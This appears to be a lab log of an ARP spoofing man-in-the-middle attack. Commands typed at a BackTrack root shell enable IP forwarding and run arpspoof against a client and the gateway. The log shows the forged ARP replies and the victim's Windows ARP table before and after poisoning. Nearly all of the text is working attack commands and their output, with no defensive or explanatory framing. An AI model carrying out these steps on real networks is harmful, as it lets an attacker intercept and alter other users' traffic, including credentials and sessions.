ARP Spoofing
Hacker HWaddr 00:21:85:96:10:4d
Hacker addr: 10.0.101.102
Victim 1 : addr: 10.0.101.103 (Client)
victim 2 : addr: 10.0.101.3 (GW)
Start Routing
root@bt:# cat /proc/sys/net/ipv4/ip_forward
0
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
1
ARP Spoof Attack
root@bt:~# arpspoof -i eth0 -t 10.0.101.3 10.0.101.103
0:21:85:96:10:4d 0:0:c:7:ac:1 0806 42: arp reply 10.0.101.103 is-at 0:21:85:96:10:4d
root@bt:~# arpspoof -i eth0 -t 10.0.101.103 10.0.101.3
0:21:85:96:10:4d 0:21:85:96:10:56 0806 42: arp reply 10.0.101.3 is-at 0:21:85:96:10:4d
Victim
Before:
C:\Documents and Settings\Administrador> arp -a
No se encontraron entradas ARP
After:
C:\Documents and Settings\Administrador> arp -a
Interfaz: 10.0.101.103
Dirección IP Dirección física Tipo
10.0.101.3 00-21-85-96-10-4d dinámico
10.0.101.102 00-21-85-96-10-4d dinámico
